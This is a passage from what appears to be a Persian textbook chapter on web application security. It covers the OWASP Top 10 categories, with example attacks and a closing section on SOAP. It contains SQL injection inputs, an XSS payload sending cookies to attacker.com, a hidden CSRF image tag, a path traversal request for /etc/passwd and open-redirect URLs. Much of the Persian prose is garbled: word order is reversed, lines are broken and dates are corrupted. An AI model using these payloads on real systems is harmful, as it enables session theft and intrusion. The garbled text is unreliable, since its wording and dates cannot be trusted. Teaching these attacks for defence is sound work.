:System.Net.Securityکند یم فراهم را زبانهایم نیب امن ارتباطات یبرا شبکه ای ان هاییجر. 

:System.Web.Security ت یامن سازیپیاده یبرا که است یکلاس های شاملASP.NET های  در برنامه

 شود. یتحت وب استفاده م

 امنیت برنامه های تحت وب 5-2

 باشد. می دسترسی قابل لایه چندین میان از شکل همانند وب تحت های برنامه ساختار
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 برنامه با کاربر ارتباط برقراری موجب یکدیگر با ها لایه این ارتباط که است شده تعریف خاصی وظیفه لایه هر در

 ای لایه اینکه به توجه با .است برخوردار بالایی اهمیت از وب تحت های برنامه در امنیت .گردد می وب تحت های

 را شما سیستم آن در نفوذ تشخیص های سیستم و فایروال وجود که است شده گرفته نظر در امنیت عنوان تحت

 امنیت برقراری خاطر همین به .کند عبور لایه این از تواند می نفوذگر ولی دارد می مصون حملات برابر در حدی تا

 وب تحت برنامه تواند می سرور عامل سیستم در امنیتی ضعف وجود مثال طور به .است اهمیت حائز لایه هر در

 باتواند  می نفوذگر برد، می رنج پذیری آسیب از شما عامل سیستم که زمانی .دهد قرار تاثیر تحت نیز را شما

 و کرده پیدا دسترسی نیز عامل سیستم داخل فعال سرور وب به پذیری آسیب آن با عامل سیستم به دسترسی

 .کند نفوذ آن به

 کردن مسموم پارامترها، دستکاری شامل تهدیدهای امنیتی مختلفی برای برنامه های تحت وب وجود دارد که

 و ...می XSS حمله و سرویس وب مسیریابی انتشار سرور، اشتباه تنظیمات کاربران، سنجی اعتبار ،XML های فایل

 .باشد
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 با آنها نمایدو جلوگیری این تهدیدها از تواند نمی کامل صورت به محافظتی روش هیچ که است ذکر به لازم

 .داشت نگه بروز آنها برابر را در خود باید و کنند می تغییر جدید تکنولوژی تغییر

 OWASP ٔ  کلمهرا بررسی میکنیم.  OWASPبر اساس  برنامه تحت وب یرو مهم در ادامه تهدیدهای

است و یک پروژه غیردولتی است که در  Open Web Application Security Protocol Project ٔ  شدهمخفف

 افزارنرمتر شدن  بایستی برای امنوب، معیار هایی که  آن برای شما به عنوان یک کارشناس برنامه نویس تحت

راهکار را به ما نشان می دهد، این متدولوژی منحصر به شرکت یا فرد  OWASPخود بکار ببرید تشریح شده است.

هر کسی درهر جای دنیا می تواند به آن  ت کهسا باز متن کاملاا  ٔ  پروژهیا سازمان خاصی نبوده و نیست و یک 

 .بپیوندد و در آن شرکت کند

 Unvalidated Input یوروداعتبار سنجی دم وجود ع 1-5-2

 که دهد می رخ هنگامی و دارد وب پذیری آسیب یک به اشاره ورودی سنجی اعتبار به مربوط پذیری آسیب

 حملات برابر در خود از محافظت در سعی ها سایت .باشد نشده سنجی اعتبار کلاینت به مربوط ورودی های فرم

 نفوذگران توسط تواند می رمزنگاری برای رایج های روش از استفاده اما دارند، ها ورودی فیلترینگ طریق از مخرب

 می مفید حملات برخی از اجتناب در و بوده ای ساده گذاری کد دارای معمولی های روش البته .شود شکسته

 می دشوار بسیار را آن فیلترینگ که دارند مختلفی های فرمت HTTP های پروتکل های ورودی از بسیاری .باشند

 که کنند می استفاده های ورودی سنجی اعتبار برای کلاینت سمت روش یک از فقط وب تحت های برنامه .سازد

 آدرس ،HTTP های نفوذگران درخواست امنیتی، سیستم زدن دور منظور به .بزنند دور را آن توانند یم نفوذگران

 اطلاعات و کاربران ورود شناسه .نماید می دستکاری را ها Query String و فرم فیلدهای سرآیندها، ،URL های

 .نماید می تبدیل حمله برای کاربردی و مهم بسیار منبع یک به را آن که گردد می ذخیره ها کوکی در آن با مرتبط

 مختلفی های روش .کنند می پیدا دسترسی هدف سیستم به ها، کوکی در موجود اطلاعات از استفاده با نفوذگران

 :از اندعبارت آنها از برخی که گیرد می قرار استفاده مورد منظور بدین ها هکر توسط
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 SQL تزریق ➢

➢ Cross Site Scripting 

 بافر سرریز ➢

 Format String حملات ➢

 ها کوکی سازی مسموم ➢

 __ها فیلد دستکاری ➢

 قیتزر 2-5-2

 غیر های داده تفسیر و اجرا اجازه که باشند می وب های برنامه در ضعفی نقاط تزریق، های پذیری آسیب

 وسیله به نفوذگران توسط ها پذیری آسیب این .دهد می جو، و پرس یا دستور یک از بخشی عنوان به را اعتمادقابل

 عدم ها، داده دادن دست از آن نتیجه که گیرند می قرار برداری بهره مورد مخرب، جوی و پرس یا دستور یک ایجاد

 ،SQL در معمولا تزریق های پذیری آسیب .باشد می دست این از مواردی و دسترسی از محرومیت پاسخگویی،

LDAP جوهای و پرس و XPath و پذیری آسیب پویشگرهای توسط راحتی به تواند می و شود می یافت Fuzzer 

 حذف نوشتن، خواندن، دسترسی راحتی به تواند می نفوذگر امنیتی نقض این از برداری بهره با .شود شناسایی ها

 تزریق دستورات، یقتزر ،SQL تزریق مانند ها پذیری آسیب این از برخی .باشد داشته را اطلاعات رسانی بروز و

 .باشند می حملات دسته این از ،LDAP در تزریق و فایل

نامطمئن به یک  ٔ  داده که دزمانی اتفاق می افت LDAPعامل و  ، سیستمSQLرخنه های تزریق نظیر تزریق 

مفسر به عنوان بخشی از دستور یا پرسش فرستاده می شود. داده های مهاجم می تواند مفسر را فریب دهد تا 

حمله  SQL injectionدر حمله  های را اجرا کند یا به داد های بدون مجوز دسترسی پیدا کند. ناخواستهدستورات 

داشته باشد را فرستاده و در جواب داده های ناخواسته به حمله ده کننده عبارت مخربی که قابل اجرا روی پایگاه دا

 کننده ارسال می شود.
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 SQL injection  حملات بوده که در بین ده مورد رتبه اول را در  ترینیکی از خطرناکOWASP2013  به

 خود اختصاص داده است.

می تواند منجر به دسترسی کامل به سرور این حمله داده های با ارزشی را به حمله کننده می دهد که : 1 مثال

 پایگاه داده شود.

 

حمله می تواند رخ  inline Queryکه نشان میدهد چگونه هنگام استفاده از  SQL injectionمثالی از حمله 

 دهد.

 :آسیب پذیر زیر استفاده کرده SQLبرنامه از داده نامطمئن در ساخت دستور  :مثال دوم
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String query = "SELECT * FROM accounts WHERE custID='" + request.getParameter("id") 

+ "'"; 

 که) ش هایی شودسبه طور مشابه، اعتماد کورکورانه یک برنامه به چارچوب ممکن است منجر به پر :3مثال 

 عنوان مثال ( بههنوز آسیب پذیر است

Hibernate Query Language (HQL): 

Query HQLQuery = session.createQuery“FROM accounts WHERE custID='“ + 

request.getParameter("id") + "'"); 

 تغییر می دهد. برای مثال: ' or '1'='1را در مرورگر خود با ارسال  "id" درهر دو مورد، مهاجم مقدار پارامتر

http://example.com/app/accountView?id=' or '1'='1 

هر دو پرسش تمام سطر های جدول حساب را برمی گرداند. بیشتر حملات  معنی است کهاین تغییر به این 

 .را فراخوانی کند شدهیرهذخ ٔ  یهروخطرناک می توانند داده را تغییر یا حتی 

 Cross-Site Scripting (XSS) attacks یتیسا نیب پتیاسکر 3-5-2

 کامل طور به که است وب تحت های برنامه سطح در ها پذیری آسیب پرکاربردترین از یکی XSS پذیری آسیب

 اجرا قابل کلاینت سمت در اسکریپت جا کدهای که هنگامی اختصار، به ولی .گردد می اشاره آن به فصل بعد در

 نفوذگر صورت این در که آید می وجود به پذیری آسیب این نگردند، مدیریت کاربر های ورودی همچنین و باشند

 به کلاینت، توسط کوکی مانند اطلاعاتی ارسال طریق از و نموده سازیپیاده را کلاینت سمت تواند حملات می

 .کند پیدا دسترسی نظر مورد هدف

زمانی اتفاق می افتد که یک برنامه داده های نامطمئن را می گیرد و آن را برای یک مرورگر وب  XSSنفوذ 

به مهاجمان این امکان را می دهد که  XSSاین حمله بسیار رایج است.  بدون اعتبارسنجی کافی می فرستد.

سایت یا انتقال  ٔ  چهرههایی را روی مرورگر قربانی اجرا کنند که امکان سرقت نشست کاربر، تغییر  یپتاسکر
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مهاجم یک وبسایت را مشاهده کرده و سعی می کند یک  در این حمله،های ناجور را می دهد.  یتساکاربر به 

اسکریپت مخرب را به شکل جعبه توضیحی روی ان اجرا کند. اگر وبسایت کدهای مخرب را چک نکرده باشد، کد 

 می تواند اجرا شود و باعث اسیب شود.

 

زیر بدون اعتبارسنجی استفاده کرده  HTML برنامه از داده های غیر قابل اطمینان در ساخت قطعه: 1مثال 

 :است

 (String) page += "<input name='creditcard' type='TEXT' value='" + 

request.getParameter("CC") + "'>"; 

 :در مرورگر خود را تغییر داده به 'CC' مهاجم پارامتر

'><script> document.location= 'http://www.attacker.com/cgi- 

bin/cookie.cgi ?foo='+document.cookie</script>'. 
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نشست قربانی به وبسایت مهاجم فرستاده شود و به مهاجم اجازه می دهد  ٔ  شناسهاین باعث می شود که 

 کاربر را برباید. نشست فعلی

 1نادرست احرازهویت و نشست مدیریت 4-5-2

Broken Session Management: و عبور کلمات مانند مواردی که دهند می رخ هنگامی حملات نوع این 

 حساسی اطلاعات ذخیره نیازمند وب کاربردی های برنامه .باشند نشده مراقبت درستی به دیگر مفید اطلاعات

 این که باشند می هویت، احراز اطلاعات سایر یا و حساب سوابق اعتباری، های کارت شماره عبور، کلمات مانند

 مکان برای مناسبی امنیتی روال اگر .شود می انجام فایل سیستم یا و داده پایگاه یک در معمولا سازی ذخیره

 می مهاجم و دارند قرار خطر معرض در وب کاربردی های برنامه پس باشد، نداشته وجود اطلاعات سازی ذخیره

 .کند پیدا دست شده ذخیره حساس اطلاعات به لحظه هر تواند

Authentication Hijacking: می استفاده مختلفی های روش از وب تحت برنامه هر کاربر، شناسایی منظور به 

 ممکن اندازد، می مخاطره به را سیستم مهاجم که هنگامی .است آنها از ای نمونه عبور رمز و کاربری شناسه که کند

 .دهد رخ هویت، جعل و نشست سرقت خدمات، از سرقت مانند اتفاقاتی است

Broken Account Management: توابع زیرا باشند می ضعیف هستند، معتبر که هویت احراز های طرح یحت 

 رمز تغییر مجدد، تنظیم و بازیابی عبور، رمز دادن دست از یا و فراموش حساب، رسانی بروز شامل حساب مدریت

 .باشند می پذیر آسیب مشابه، توابع و عبور

 کنترل به مربوط خاص مشکل و آسیب یک از استفاده با نفوذگر است که حمله کنترل دسترسی، تکنیکی

 معرض در نیز را شبکه تواند می روش این از استفاده با مهاجم .زند می دور را هویت احراز و نموده استفاده دسترسی

 .دهد قرار خطر

                                                 
1 )Broken authentication and session management( 
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وب حقوق دسترسی سطح عملکرد را قبل از نمایش یک عملکرد در واسط  بسیاری از برنامه ها کاربردی تحت 

هنگام  را روی کارگزار رسیتهمین بررسی کنترل دس کاربردی باید ٔ  برنامهکاربری بررسی می کنند. با این وجود 

هم انجام دهد. اگر درخواستها بررسی نشوند مهاجمان می توانند درخواستها را به منظور  هر عملکرد دسترسی به

 بایست می کلاینت سمت های سنجی اعتبار همچنین اکثردسترسی به عملکرد بدون مجوز مناسب جعل کنند. 

 .شوند پشتیبانی سرور سمت هویت حرازا توسط

نشد ه اند. این به  سازیپیادهاحرازهویت و مدیریت نشست اغلب به درستی  ٔ  ینهزمعملکرد های برنامه در 

مشکلات  از یا بیاندازند خطر به را کوکیها نشست، توکن های یا کلیدها عبور، رمز های که می دهد امکان مهاجمان

راه هایی که حمله کننده می تواند داده ها  .کنند بهره برداری دیگر کاربران ٔ  شناسه گرفتن برای دیگر سازیپیاده

 را بدزدد:

 SSLعدم استفاده از  ➢

 استفاده از شناسه کاربری قابل حدس زدن ➢

 ذخیره نکردن فرم رمز شده گواهینامه ➢

 خروج نامناسب از برنامه ➢

قرار دادن شناسه جلسه در آدرس پشتیبانی  شده، با بازنویسیURL از هوایی  رزرو خطوط ٔ  برنامه: 1مثال 

 :می کند

 http://example.com/sale/saleitems?sessionid=268544541& dest=Hawaii 

او بدون اطلاع از اینکه دارد  .یک کاربر معتبر سایت می خواهد تا دوستان خود را در مورد فروش مطلع کند

ستانش وکه د یهنگام وق را با استفاده از ایمی ل ارسال می کند.نشست خود را فاش می کند، لینک ف ٔ  شناسه

 .از لینک استفاده می کنند، از نشست و کارت اعتباری او استفاده خواهند کرد
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برای دسترسی به  های برنامه به درستی تنظیم نشد ه اند. کاربر از یک کامپیوتر عمومی timeout: 2 مثال

مهاجم بعد از  به سادگی مرورگر را بسته و رفته است. «خروج»جای انتخاب  سایت استفاده کرده است. کاربر به

 .هم احرازهویت شده است استفاده می کند هنوز که یک ساعت ازهمان مرورگر

عبور  ٔ  کلمه اگر .آوردعبور پایگاه داده سیستم را بدست می  ٔ  کلمهخودی یا مهاجم خارجی که  :3مثال 

 .کاربران برای مهاجم افشا خواهد شد ٔ  عبورهمه ٔ  کلمهنشده باشد،  یسازدرهمکاربر به درستی 

های زیر نیاز به احرازهویت کاربر دارند.  URL هدف مراجعه می کند. های URL مهاجم به سادگی به :4 مثال

 موردنیاز است. admin_getappinfo ٔ  صفحهمجوز های مدیریتی نیز برای دسترسی به 

http://example.com/app/getappInfo http://example.com/app/admin_getappInfo 

هر کدام از این صفحات دسترسی پیدا کند، این یک نقص است. اگر یک کاربر  اگر یک کاربر ناشناس بتواند به

دسترسی پیدا کند، این نیز یک نقص است و ممکن  admin_getappinfoبه صفحه  شناخته شده غیر مدیر بتواند

است باعث شود که مهاجم بتواند به صفحات مدیریتی دیگری که به درستی محافظت نشد ه اند دسترسی پیدا 

 کند.

رد دارد که مشخص می کند که عملکردی باید فراخوانی شود و عملک actionیک صفحه یک پارامتر  :5مثال 

 های مختلف نیاز به نقش های مختلف دارند. اگر این نقشها اعمال نشوند یک نقص در سیستم وجود دارد.

 2CSRF یتیسا نیب درخواستجعل  5-5-2

 کاربر یک اینکه مانند ؛گردد می خاصی کار انجام به مجبور شده هویت احراز کاربر آن در که است حمله از نوعی

 .نماید کلیک است شده ارسال او برای چت یا ایمیل طریق از که خاص لینک روی

                                                 
2 (Cross-site Request Forgery) 

http://example.com/app/admin_getappInfo
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برای یک برنامه کاربردی  HTTPمرورگر قربانی را مجبور می کند که یک درخواست جعلی  CSRF ٔ  حملهیک 

وب آسیب پذیر بفرستد که شامل کوکی نشست قربانی وهر داده خودکار احرازهویت دیگر است. این به  تحت

را مجبور به ایجاد درخواست هایی کند که برنامه آسیب پذیر فکر می  مهاجم امکان می دهد که مرورگر قربانی

کاربر به سرور بانک لاگین میکند. بانک احراز هویت انجام  مثلا؛ هستند کند درخواست های مشروع از طرف قربانی

ه و می مهاجم یک ایمیل با لینک مخرب فرستاد ...داده و یک نشست امن بین کاربر و سرور بانک ایجاد می شود

دلار اکنون به دست اورید. کاربر روی لینک مخرب کلیک و سایت سعی می کند تا پول را از  100000گوید 

حساب کاربر به حساب مهاجم انتقال دهد. به دلیل ایجاد نشست امن کد مخرب می تواند به صورت موفقیت 

 امیزی اجرا شود.

 یر وضعیت که شامل هیچ چیز مخفی نیست ارسال کند.برنامه اجازه می دهد کاربر یک درخواست تغی :1مثال 

 :برای مثال

http://example.com/app/transferFunds?amount=1500&destinationAccount=4673243243 

بنابراین، مهاجم یک درخواست که پول را از حساب قربانی به حساب مهاجم انتقال دهد می سازد و سپس این 

کنترل مهاجم تعبیه می  شده روی سایت های مختلف تحت ذخیره iframeیر یا حمله را در یک درخواست تصو

 :کند

<&destinationAccount=attackersAcct#" img 

src="http://example.com/app/transferFunds?amount=1500 width="0" height="0" /> 

احرازهویت شده است،  example.comدر  اکنونهم هر یک از سایت های مهاجم را در حالی که اگر قربانی

درخواست  ٔ  اجازهکه  کاربر می شود sessionبازدید کند، این درخواست جعلی به طور خودکار شامل اطلاعات 

 مهاجم صادر خواهدشد.

 :نامناسب یخطاها به یدگیرس 6-5-2
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 .است ضروری بسیار امری دهد نشان واکنش چگونه داد، رخ خطایی که زمانی شبکه یا سیستم اینکه تعریف 

 به لازم .باشید داده قرار سیستم به حمله جهت نفوذگر اختیار در را فرصتی شما است ممکن صورت این غیر در

 .دارد وجود باشید، نداشته را نامناسب خطاهای مدیریت که هنگامی سرویس، انکار مانند حملاتی بروز احتمال ذکر

 

 امن نا صورت به ایاش به میارجاع مستق 7-5-2

 سازیپیادهکه یک برنامه نویس یک ارجاع به یک شی  افتده یک شی زمانی اتفاق می ب دسترسی مستقیمیک 

درونی نظیر یک فایل، پوشه یا کلید پایگاه داده را در دسترس قرار می دهد. بدون کنترل دسترسی یا حفاظت 

، ت برای دسترسی به داده های غیرمجازاز این ارجاعاو  نموده برداری بهره HTTP ازهای دیگر، مهاجمان می توانند 

 سیستم حساس های فایل و پیکربندی ها برنامه، منبع کدهای شامل که حساس و شده محدود های دایرکتوری

 از استفاده با .اجرانماید سرور (root) ریشه دایرکتوری از خارج را دستوراتی همچنین .کند استفاده باشد، می

 قرار دارد، وب در شده منتشر هایی محدوده از خارج در واقع که اطلاعاتی و ها فایل به توان می دایرکتوری پیمایش

 .کرد پیدا دسترسی

 

 

 پایان در متوالی صورت به) ../ دادن قرار با را باشد می منبع فایل در که هایی متغیر تواند می نفوذگر: 1مثال 

 آسیب PHP کد به .کند پیدا دسترسی مدیر عبور رمز مانند مهمی اطلاعات به و دستکاری نموده URL آدرس

 .کنید آمده دقت زیر در که نفوذگر درخواست و پذیر
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 :نماید می ارسال URL طریق از را زیر درخواست ابتدا نفوذگر

http://www.juggyboy.com/GET/process.php./../../../../../../../../../etc/passwd 

 زیر پذیر آسیب کد آن در موجود وب تحت برنامه داخل که گردد می ارسال سرور وب سمت به درخواست این

 :دارد قرار

 

 دستور باشد می آنها عبور های رمز و کاربری های نام شامل که زیر اطلاعات پذیرفوق آسیب کد وجود دلیل به

passwd (دهد می نمایش نفوذگر به را)گرداند برمی را عبور رمزهای و کاربران به مربوط اطلاعات. 

 

 

که دسترسی به اطلاعات حساب دارد استفاده  SQLبرنامه از داده های تایید نشده در یک فراخوانی : 2مثال 

 :می کند

String query = "SELECT * FROM accts WHERE account = ?"; PreparedStatement pstmt = 

connection.prepareStatement(query, …); 

pstmt.setString(1, request.getParameter("acct")); ResultSet results = pstmt.executeQuery(); 

 در مرورگر خود را با ارساله شماره حسابی که می خواهد تغییر می دهد.ACCT پارامتر گی دمهاجم به سا
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هر حساب کاربری دیگری به جای حساب کارخواه موردنظر،  اگر وارسی انجام نشود، مهاجم می تواند به

 .دشدسترسی داشته با

http://example.com/app/accountInfo?acct=notmyacct 

8-5-2 Redirect  ها وForward 3نشده یاعتبارسنج یها 

 نظر به که لینک یک روی تا سازد می مجبور را قربانی نفوذگر :Redirects and Forwards یسنج اعتبار عدم

 ممکن شد، هدایت نفوذگر نظر مورد مقصد به قربانی که هنگامی .کند کلیک باشد می معتبری سایت از رسد می

 توسط عبور، کلمه و کاربری نام مانند وی حساس اطلاعات قربانی فریب با یا و شده بدافزار یک نصب موجب است

 مانند مواردی به منجر و زده دور را دسترسی کنترل مجوز است ممکن امن نا Forward .رود سرقت به نفوذگر

 .گردد مخرب های فایل اجرای و Exploit امنیتی های استفاده سوء ،Session fixation حملات

وب کاربران به صفحات و وبسایت های دیگر منتقل می کنند و از داده های نامطمئن  برنامه ها کاربردی تحت

بانیان را به سایت برای تعیین صفحات مقصد استفاده می کنند. بدون اعتبارسنجی مناسب، مهاجمان می توانند قر

در همه برنامه برای دسترسی به صفحات غیرمجاز استفاده کنند.  Forwardهای تقلبی و بدافزار منتقل کنند یا از 

های کاربردی وب ما از یک صفحه به صفحه دیگر منتقل و حتی به برنامه کاربردی دیگری منتقل می شویم ولی 

 Unvalidated Redirects andیم که باعث می شود حملات نمیکن validateرا  URLدر هنگام انتقال ما 

Forwards  سرقت از داده های با ارزش کاربر مانند رمز و یا نصب بدافزارهای مخرب روی سیستم کاربر اتفاق بیافتد. این حمله بیشتر برای

 استفاده می شود.

را هدایت می کند به سایت مخربی که فیشینگ را روی کامپیوترهای  URLدر مثال زیر یک برنامه ساده که 

 کاربر اجرا و برنامه های مخرب را نصب می کند.

                                                 
3( Unvalidated Redirects and Forwards) 
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Fig.Crafted URL by an attacker. 

Original URL:-http://localhost:7426/Account/Login 

Crafter URL by Attacker:-?returnUrl=https://www.google.co.in 

 

 

روی  کاربرخرید الکترونیکی است. وقتی در این حمله کاربر ایمیلی از مهاجم دریافت می کند که مربوط به 

ر نزدیک تر نگاه کنیم به منتقل ولی اگ http://demotop.comلینک کلیک می کند باید به سایت 

http://demotop.com/Login/Login?url=http://mailicious.com  منتقل شده است. حال بعد از وارد کردن

است. در  http://demotop.comمنتقل که شبیه به  http://mailicious.comیوزر و پسورد کاربر به سایت مخرب 

سایت مخرب پیام یوزر و پسورد اشتباه است نمایش داده شده و کاربر مجددا یوزر و پسورد را وارد میکند. حال به 

 ه شده است.سایت اصلی هدایت می شود ولی یوزر و پسورد او دزدید

http://localhost:7426/Account/Login
http://demotop.com/
http://demotop.com/Login/Login?url=http://mailicious.com
http://mailicious.com/
http://demotop.com/
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 URLیک  مهاجم می گیرد. urlدارد که یک پارامتر به نام  redirect.jsp: برنامه یک صفحه به نام 1مثال 

 مخرب که کاربران را به سایت های مخرب تغییر مسیر می دهد، می سازد و باعث اجرای فیشینگ و نصب نرم

 افزار های مخرب می شود.

http://www.example.com/redirect.jsp?url=evil.com 

استفاده می کند. برای تسهیل  forwardبرنامه برای درخواست مسیر بین بخش های مختلف سایت از  :2مثال 

آن، برخی صفحات از یک پارامتر که نشان می دهد اگر تراکنش موفق است کاربر باید به کجا فرستاده شود، 

ی می سازد که مانع کنترل دسترسی برنامه را رد و سپس مهاجم URLر این حالت، مهاجم د استفاده می کنند.

 .را به قابلیت های اجرایی که مجاز نیست می رساند

http://www.example.com/boring.jsp?fwd=admin.jsp 

 یتیامن نامناسب یکربندیپ 9-5-2

 کارگزار امنیت خوب نیازمند این است که یک پیکربندی امن برای برنامه کاربردی، چارچوبها، کارگزار برنامه،

و نگهداری شوند  سازیپیادهوب، کارگزار پایگاه داده و بستر تعریف و مستقر شده باشد. تنظیمات امن باید تعریف، 

مثال از تنظیمات  طور بهروز نگه داشته شود.  افز باید به علاوه نرمهستند. به  فرضها معمولا ناامن چرا که پیش

است و یا  نشده پاک و شده نصب خودکار صورت به سرور را نام برد که های برنامه مدیریتی کنسول ناامن می توان

 که کند می کشف سرور روی را مدیر استاندارد صفحات نفوذگر .است نشده داده که تغییر فرض پیش های حساب

 .است فرض پیش های پسورد دارای

 آسیب این از گیری بهره با نفوذگر .آورد می بوجود را هایی پذیری آسیب معمولا ها سرور در نادرست پیکربندی

 سنجی اعتبار های روش شکستن و بردن بین از با تا کند می تلاش و کرده پیدا دسترسی سرور وب به ها پذیری

 .کند پیدا دسترسی نیز سرور در شده ذخیره حساس های داده به

http://www.example.com/boring.jsp?fwd=admin.jsp
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 فرض، پیش های حساب با تواند می نفوذگر آورد، می بوجود نادرست پیکربندی که پذیری آسیب از استفاده با

 برداری بهره نشده patch معایب از بخواند، را نشده استفاده صفحات بتواند و آورده بدست غیرمجاز را دسترسی

 .دهد تغییر یا و بخواند را نشده محافظتهای  فایل و ها دایرکتوری کند،

شده و حذف نشده است. حساب های  : کنسول مدیریت کارگزار برنامه به صورت اتوماتیک نصب1مثال 

عبور پیشفرض  ٔ  کلمهپیشفرض تغییر نکرده اند. مهاجم صفحات مدیریت استاندارد روی کارگزار را می یابد و با 

 گیرد.وارد می شود و کنترل را در دست می 

شه ها را برای پیدا وها روی کارگزار غیرفعال نیست. مهاجم می تواند به سادگی لیست پ : لیست پوشه2مثال 

را دانلود می  شدهیلکامپاپوشهی مربوطه را پیدا می کندو تمام کلاس های  مهاجم هر فایل استفاده کند. کردن

ی معکوس می کند. سپس یک نقص کنترل دسترسی کند، او برای دریافت تمام کد هایتان، دیکامپایل و مهندس

 .می یابد تانبرنامهجدی در 

پیکربندی کارگزار برنامه اجازه می دهد تا اطلاعات خطا به کاربران بازگشت داده شود، به طور بالقوه  :3مثال 

 نقص های زیرین برنامه را افشا می کند. مهاجمان عاشق اطلاعات اضافی در پیام های خطاهستند

 .ماندنمونه که از کارگزار های تولید حذف نشد ه اند باقی می  ٔ  برنامهدر کارگزار برنامه یک سری  :4مثال 

های امنیتی شناخته شد های دارند که مهاجمان می توانند برای به خطر  نقصبرنامه ها کاربردی نمونه، 

 انداختن کارگزار از آنها استفاده کنند.

 شدهشناخته یها یریپذ بیآس یدارا یها مولفهاستفاده از  10-5-2

همیشه با حداکثر مجوز اجرا می  افزاری تقریبا ها، چارچوبها و دیگر ماژول های نرم ها مثل کتابخانه مولفه

نین حمل های می تواند باعث از دست رفتن جدی چپذیر مورد استفاده قرار بگیرد،  آسیب ٔ  مولفهشوند. اگر یک 
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از مولفه هایی با آسیب پذیریهای شناخته شده  هشود. برنامه ها کاربردی کها یا در دست گرفتن کارگزار  داده

 استفاده می کنند سیستم دفاعی برنامه کاربردی را دور بزنند و مجموع های از حملات و تاثیرات را ممکن بسازند.

قریباهمیشه هر نوع ریسک قابل تصوری بشوند. مولفه ها ت آسیب پذیری مولفه ها ممکن است منجر به: 1مثال 

های می تواند جدی باشد. دو  مولفهبا بیشترین سطح دسترسی برنامه کاربردی اجرا می شوند بنابراین نقص درهر 

 دانلود شد ه اند: 2011میلیون بار در سال  22آسیب پذیر زیر  ٔ  مولفه

Apache CXF Authentication Bypassانستندهر : به دلیل عدم وجود یک توکن شناسایی، مهاجمان می تو

 خدمت وبی را با مجوز کامل فراخوانی کنند.

Spring Remote Code Execution ر دزبان عبارت  سازیپیاده: استفاه نامناسب ازSpring  به مهاجمان این

 امکان را می داد که کد دلخواه خود را اجرا کنند و کارگزار را در اختیار بگیرند.

هر دو مولفه  پذیر استفاده می کند، آسیب پذیر است چرا که آسیب ٔ  مولفههر برنامه ای که از یکی از این دو 

های دیگری که در اعماق برنامه از آنها  مولفهاز  یبرداربهرهمستقیما توسط کاربران برنامه قابل دسترسیهستند. 

 استفاده می شود ممکن است مشکلتر باشد.

 :وب سیسرو یابیریمس به مربوط مشکلات 11-5-2

 توسط اینترنت در مختلف های گره به سترسی به مجاز SOAP(Simple Object Access Protocol) های پیام

WS-Routers های پیام به دسترسی تواند می میانی های گره شدن اکسپلویت .باشند می SOAP نقطه دو بین که 

 .پردازیم می SOAP به کمی بیشتر آشنایی برای .سازد پذیر امکان را هستند انتهایی
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SOAP مخفف که Simple Object Access Protocol است استاندارد هایی ترین عمومی از یکی باشد، می 

 و UserLand شرکت ،DeveloperMentor توسط بار اولین شواهد طبق .شود می استفاده ها سرویس وب در که

 ،SOAP نسخه آخرین .شده است ارایه 0999 سال در آن اول نسخه و شده ساخته 0998 سال در مایکروسافت

 نمایانگر و آن روی بر زیاد کار دهنده نشان0.2 نسخه .شد ارایه W 3 C در 2110 سال دسامبر در که بود 0.2 نسخه

 .است سرویس وب و SOAP از استفاده برای IT صنعت زیاد اشتیاق

 .اند شده پخش شبکه روی بر که است هایی سیستم بین دیتا فرستادن برای روش ایجاد SOAP اصلی هدف

 دیتا انتقال و ارتباط برای ای وسیله SOAP های پیغام کند، می سرویس وب با ارتباط به شروع برنامه یک وقتی

 اجرا به آن در را روتین ساب یا تابع یک و شود می فرستاده سرویس وب به SOAP پیغام یک .هستند دو آن بین

 محتوای از نیز سرویس وب .کند می کاری انجام تقاضای سرویس وب از پیغام این که معنی این به آورد می در

 برنامه به دیگر SOAP پیغام یک با را نتایج نیز انتها در .کند می آغاز را خود عملیات و کرده استفاده SOAP پیغام

 .فرستد می اصلی



 

62 

 ها الگو این .است ی XML های الگو سری یک از شده تشکیل XML، SOAP بر مبتنی پروتکل یک عنوان به

 که اطلاعاتی و ها دیتا نوع مانند کند، می مشخص را شود می منتقل شبکه روی بر که را XML های پیغام شکل

 طریق از و اینترنت روی بر دیتا انتقال برای SOAP اصل در .کند آسان را متن کردن تفسیر مقابل طرف برای

 وب که وقتی .کرد استفاده توان می نیز LAN مانند مدلها دیگر در آن از ولی است شده طراحی HTTP پروتکل

 .کنند عبور Firewall از توانند می راحتی به کنند می استفاده HTTP از ها سرویس

 قسمت .Body یا بدنه ،Envelope، Header یا پوشش :است شده تشکیل مهم بخش سه از SOAP پیغام یک

 مشخص را آن گیرنده و توصیف را پیغام محتوای بخش این .رود می کار به پیغام کل کردن بندی بسته پوشش برای

 امنیت مانند مطالبی و باشد می اختیاری بخش یک که است آن SOAP، Header های پیغام بعدی بخش .کند می

 دیتاها .گیرند می جای آن در نظر مورد دیتاهای که است بخشی SOAP پیغام بدنه .دهد می توضیح را مسیریابی و

 این .کنند می تبعیت دهند می توضیح را آن Schemas)) الگوها که خاص مدل یک از و هستند XML مبنای بر

 SOAP های سرور نوسط SOAP های یغامپ .کند تفسیر درستی به را متن تا کنند می کمک گیرنده به ها الگو

 .دهند انجام را خود کار و شوند فعال ها سرویس وب آن، نتیجه در تا شود می تفسیر و گرفته

-XML مثال برای .شود استفاده باید پروتکل زیادی تعداد از نکنیم استفاده سرویس وب در SOAP از اینکه برای

RPC افزار نرم بزرگ سازندگان از خیلی حال، هر به .کرد می ایجاد را امکانات همین که بود تری قدیمی تکنولوژی 

SOAP انتخاب برای زیادی دلایل .دادند ترجیح دیگر های تکنولوژی بر را SOAP آنها از خیلی که دارد وجود 

 :دیگر های تکنولوژی به نسبت SOAP مهم برتری 3 .باشد می متن این از فراتر که است آن پروتکل درباره

Simplicity, Extensibility و Interoperability است. 

 نیاز پیچیده های افزار نرم به آن گرفتن و فرستادن برای و ندارند زیادی کدهای ا معمولا SOAP های پیغام

 SOAP اینکه بدلیل آخر در .دهد تغییر را آن خود نیاز به بنا تا دهد می نویس برنامه به را امکان این SOAP نیست

 سیستم نویسی، برنامه زبان اینکه بدون بدهد انتقال را اطلاعات HTTP بوسیله تواند می کند می استفاده XML از
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 خرید جهت بانک درگاه به را فردی خواهید می که هنگامی مثال عنوان به .باشد مهم آن برای افزار سخت و عامل

 موفقیت انجام از پس درگاه و کنید می ارسال درگاه برای را تراکنش مقدار و مبل قبیل از اطلاعاتی کنید، هدایت

 .گیرد صورت تواند می SOAP توسط مراحل این که کند می ارسال سرویس وب برای را پیغامی تراکنش، آمیز

WS-Routing های پیام رسیدن و انتقال چگونگی که پروتکلی واقع در هم SOAP نماید می تعریف را. 

